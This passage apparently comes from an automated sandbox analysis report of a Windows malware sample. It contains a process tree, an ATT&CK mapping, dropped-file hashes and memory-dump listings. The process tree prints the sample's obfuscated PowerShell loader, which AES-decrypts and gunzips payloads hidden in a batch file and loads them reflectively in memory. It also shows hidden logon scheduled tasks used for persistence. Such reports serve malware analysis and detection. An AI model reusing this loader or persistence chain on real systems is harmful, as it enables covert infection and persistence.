(decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3556

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_113_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_113.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2704

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_113.vbs"
4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3160

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_113.bat" "
5⤵
- Suspicious use of WriteProcessMemory
PID:3932

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:2380

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_113.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_113.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1108

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
7⤵
- Executes dropped EXE
PID:1576

C:\Users\Admin\AppData\Local\Temp\New.exe
"C:\Users\Admin\AppData\Local\Temp\New.exe"
7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1872

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3688

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3868

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of UnmapMainImage
PID:4020

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2372

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4376

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4180

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2552

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:5000

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4876

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5040

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:2280

C:\Windows\sysWOW64\wbem\wmiprvse.exe
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4016

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 887c75a5cd9c710a04dada3307ca6810 q9XAPZ3JSUCIRmV1jZE2mw.0.1.0.0.0
1⤵
- Sets service image path in registry
PID:856

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
2⤵
PID:3084

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:1520

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Drops file in Windows directory
PID:1964

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:3804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4156

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:816

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
1⤵
PID:2604

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:700

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:3980

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:3684

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4420

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:856

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
9751fcb3d8dc82d33d50eebe53abe314

SHA1
7a680212700a5d9f3ca67c81e0e243834387c20c

SHA256
ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

SHA512
54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
17KB

MD5
620f1a2f78f72a689be642520b30cd3c

SHA1
b89e98e005cb3993d554a02d9e00468d7c617790

SHA256
211e0a3abd0caa90368d66f0d672da21456690b1a2a08697d91929dcfb9efcd0

SHA512
38d7b90adc71d55ba8026a2b6b9ce7da8f35a87c7d60903633dc0f365fb174a8e69bfd1a9f1ddecf0c8c9b6c49ee65231c57025825cfac6fb537582133c87567

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\WebCache\V01.chk
Filesize
8KB

MD5
ca39af9bc9a8a6ad1b34670ff53ff17f

SHA1
aabd7b460d125d75e0893aedf88a1a1f05dc29b7

SHA256
f2a175106423bdb073403536b4287086a4337b32943802f6c1f7d873dae45574

SHA512
2d2c0641a42315c693d7f486ef11e0662314de3d3f0d2464662299d24056f2d54d190efaabde1ac682cb02867361c3c53f113547d911ceb466befa5bcf7f2ce1

Download Submit
C:\Users\Admin\AppData\Local\Temp\Install.exe
Filesize
163KB

MD5
b51552b77057c2405f73bbbf9c89234a

SHA1
4793adbba023f90d2d2ad0ec55199c56de815224

SHA256
720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

SHA512
564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

Download Submit
C:\Users\Admin\AppData\Local\Temp\New.exe
Filesize
409KB

MD5
cf570b21f42f0ce411b7c9961068931e

SHA1
f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d

SHA256
d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234

SHA512
de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qe5nurac.1q3.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_113.bat
Filesize
1002KB

MD5
f6d5bfaee8a55ff72c7b453fda066d62

SHA1
7d737d53013990e5d05076b7206e43eb4793fc7f

SHA256
3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

SHA512
e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_113.vbs
Filesize
115B

MD5
3d75b7086224a617a465e166cbda4a58

SHA1
913690e1d3329f827ace4b820df89de053865c71

SHA256
3572ebc273a32432ff7f5e867957611bba22f4b71821cd2fb971a1979da029e5

SHA512
8575f44995e732e1b2690557910bfa3709d9b7169397c344bcec063dc66a37ae8854a05a1f114b32c8956691abf804aa4b01d20a7f23ccfba77345b665cbea31

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Filesize
330B

MD5
05a9edcbe6501318e39512e22ba0b548

SHA1
b11ff260b9d73681b07948dbf03d3dc5b2dc82a0

SHA256
2537159e02023573bab2b9429b84d5631d2bedfd5ae03797ea475580d6babb2e

SHA512
1cb224eb20c76386e78eff1a042fef144c4da09ec7da08e24328fa26560fdd54c6e9ead5384d578469d122e46479abf42ce1ef7f8d669e74e0a18de2aac4a659

Download Submit
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
Filesize
330B

MD5
ecb9198e5cc61bed6691b40768bab535

SHA1
8153c80ddb3356dbcc0200a0e1fc84ba9ac248fe

SHA256
0055ac63c35de80831a82bd84a9e7c556ec8631a446f32ff8f8086287e339738

SHA512
7b5515b45c50ed35fbd188cd543d846c00b4ba5d226ce442e2725a4de61a9d66f72711a460fc0049279d7bf676fd1c016d1a6d1cad406d04fcb5b1e030381523

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04
Filesize
412B

MD5
fba7068b599f6042bc1abc9e205776ad

SHA1
ad75286aeb731abc728bf2abf11d6d222f0e3f12

SHA256
c927da5980ba40a5d21e74c8a866eae7c96c9cdf2edbc1f1ba98f20052dddd72

SHA512
6a6c8a3d959e99ac49d72e40f6932d56e8836d92b9a010ae24d2ca7d71bc6b8286145763ab4ee59f285239464d248ff8d6201950a23b9bd42874d1491c64c066

Download Submit
memory/60-172-0x00000211E95E0000-0x00000211E960A000-memory.dmp

Filesize
168KB

Download
memory/60-173-0x00007FFF3CA30000-0x00007FFF3CA40000-memory.dmp

Filesize
64KB

Download
memory/60-167-0x00000211E95E0000-0x00000211E960A000-memory.dmp

Filesize
168KB

Download
memory/512-183-0x00007FFF3CA30000-0x00007FFF3CA40000-memory.dmp

Filesize
64KB

Download
memory/512-182-0x00000159C3CD0000-0x00000159C3CFA000-memory.dmp

Filesize
168KB

Download
memory/512-177-0x00000159C3CD0000-0x00000159C3CFA000-memory.dmp

Filesize
168KB

Download
memory/616-135-0x0000023906500000-0x0000023906525000-memory.dmp

Filesize
148KB

Download
memory/616-137-0x0000023906530000-0x000002390655A000-memory.dmp

Filesize
168KB

Download
memory/616-143-0x00007FFF3CA30000-0x00007FFF3CA40000-memory.dmp

Filesize
64KB

Download
memory/616-136-0x0000023906530000-0x000002390655A000-memory.dmp

Filesize
168KB

Download
memory/616-142-0x0000023906530000-0x000002390655A000-memory.dmp

Filesize
168KB

Download
memory/676-153-0x00007FFF3CA30000-0x00007FFF3CA40000-memory.dmp

Filesize
64KB

Download
memory/676-152-0x000001CED9960000-0x000001CED998A000-memory.dmp

Filesize
168KB

Download
memory/676-147-0x000001CED9960000-0x000001CED998A000-memory.dmp

Filesize
168KB

Download
memory/948-162-0x0000022962DA0000-0x0000022962DCA000-memory.dmp

Filesize
168KB

Download
memory/948-157-0x0000022962DA0000-0x0000022962DCA000-memory.dmp

Filesize
168KB

Download
memory/948-163-0x00007FFF3CA30000-0x00007FFF3CA40000-memory.dmp

Filesize
64KB

Download
memory/1108-104-0x0000000008720000-0x0000000008732000-memory.dmp

Filesize
72KB

Download
memory/1108-115-0x000000000A730000-0x000000000A76C000-memory.dmp

Filesize
240KB

Download
memory/1108-79-0x0000000007180000-0x0000000007272000-memory.dmp

Filesize
968KB

Download
memory/1108-84-0x0000000008680000-0x00000000086EC000-memory.dmp

Filesize
432KB

Download
memory/1108-85-0x00000000087A0000-0x0000000008832000-memory.dmp

Filesize
584KB

Download
memory/1108-128-0x000000000A850000-0x000000000A85A000-memory.dmp

Filesize
40KB

Download
memory/1772-123-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1772-122-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1772-132-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1772-125-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1772-121-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1772-126-0x00007FFF7C9B0000-0x00007FFF7CBA5000-memory.dmp

Filesize
2.0MB

Download
memory/1772-120-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1772-127-0x00007FFF7C3C0000-0x00007FFF7C47E000-memory.dmp

Filesize
760KB

Download
memory/1872-103-0x0000000000030000-0x000000000009C000-memory.dmp

Filesize
432KB

Download
memory/2704-39-0x0000000070B30000-0x0000000070B7C000-memory.dmp

Filesize
304KB

Download
memory/2704-50-0x0000000074D10000-0x00000000754C0000-memory.dmp

Filesize
7.7MB

Download
memory/2704-26-0x0000000074D10000-0x00000000754C0000-memory.dmp

Filesize
7.7MB

Download
memory/2704-28-0x0000000074D10000-0x00000000754C0000-memory.dmp

Filesize
7.7MB

Download
memory/2704-38-0x0000000007750000-0x0000000007782000-memory.dmp

Filesize
200KB

Download
memory/2704-27-0x0000000074D10000-0x00000000754C0000-memory.dmp

Filesize
7.7MB

Download
memory/2704-59-0x0000000074D10000-0x00000000754C0000-memory.dmp

Filesize
7.7MB

Download
memory/2704-56-0x0000000074D10000-0x00000000754C0000-memory.dmp

Filesize
7.7MB

Download
memory/2704-55-0x0000000007AF0000-0x0000000007B01000-memory.dmp

Filesize
68KB

Download
memory/2704-54-0x0000000007B80000-0x0000000007C16000-memory.dmp

Filesize
600KB

Download
memory/2704-53-0x0000000007950000-0x000000000795A000-memory.dmp

Filesize
40KB

Download
memory/2704-52-0x0000000007790000-0x0000000007833000-memory.dmp

Filesize
652KB

Download
memory/2704-49-0x0000000074D10000-0x00000000754C0000-memory.dmp

Filesize
7.7MB

Download
memory/2704-51-0x0000000007710000-0x000000000772E000-memory.dmp

Filesize
120KB

Download
memory/3556-19-0x0000000006900000-0x000000000694C000-memory.dmp

Filesize
304KB

Download
memory/3556-5-0x00000000059A0000-0x00000000059C2000-memory.dmp

Filesize
136KB

Download
memory/3556-2-0x0000000074D10000-0x00000000754C0000-memory.dmp

Filesize
7.7MB

Download
memory/3556-1-0x0000000005390000-0x00000000053C6000-memory.dmp

Filesize
216KB

Download
memory/3556-78-0x0000000074D10000-0x00000000754C0000-memory.dmp

Filesize
7.7MB

Download
memory/3556-3-0x0000000005A00000-0x0000000006028000-memory.dmp

Filesize
6.2MB

Download
memory/3556-24-0x000000000ACF0000-0x000000000B294000-memory.dmp

Filesize
5.6MB

Download
memory/3556-23-0x0000000008AD0000-0x0000000008BC2000-memory.dmp

Filesize
968KB

Download
memory/3556-22-0x0000000006DB0000-0x0000000006DB8000-memory.dmp

Filesize
32KB

Download
memory/3556-21-0x0000000006E50000-0x0000000006E6A000-memory.dmp

Filesize
104KB

Download
memory/3556-20-0x00000000090C0000-0x000000000973A000-memory.dmp

Filesize
6.5MB

Download
memory/3556-4-0x0000000074D10000-0x00000000754C0000-memory.dmp

Filesize
7.7MB

Download
memory/3556-18-0x0000000006860000-0x000000000687E000-memory.dmp

Filesize
120KB

Download
memory/3556-13-0x0000000006380000-0x00000000066D4000-memory.dmp

Filesize
3.3MB

Download
memory/3556-7-0x0000000006310000-0x0000000006376000-memory.dmp

Filesize
408KB

Download
memory/3556-6-0x00000000062A0000-0x0000000006306000-memory.dmp

Filesize
408KB

Download
memory/3556-0-0x0000000074D1E000-0x0000000074D1F000-memory.dmp

Filesize
4KB

Download
memory/3672-118-0x00007FFF7C9B0000-0x00007FFF7CBA5000-memory.dmp

Filesize
2.0MB

Download
memory/3672-117-0x000001EC71A30000-0x000001EC71A5A000-memory.dmp

Filesize
168KB

Download
memory/3672-119-0x00007FFF7C3C0000-0x00007FFF7C47E000-memory.dmp

Filesize
760KB

Download
memory/3672-105-0x000001EC71690000-0x000001EC716B2000-memory.dmp

Filesize
136KB

Download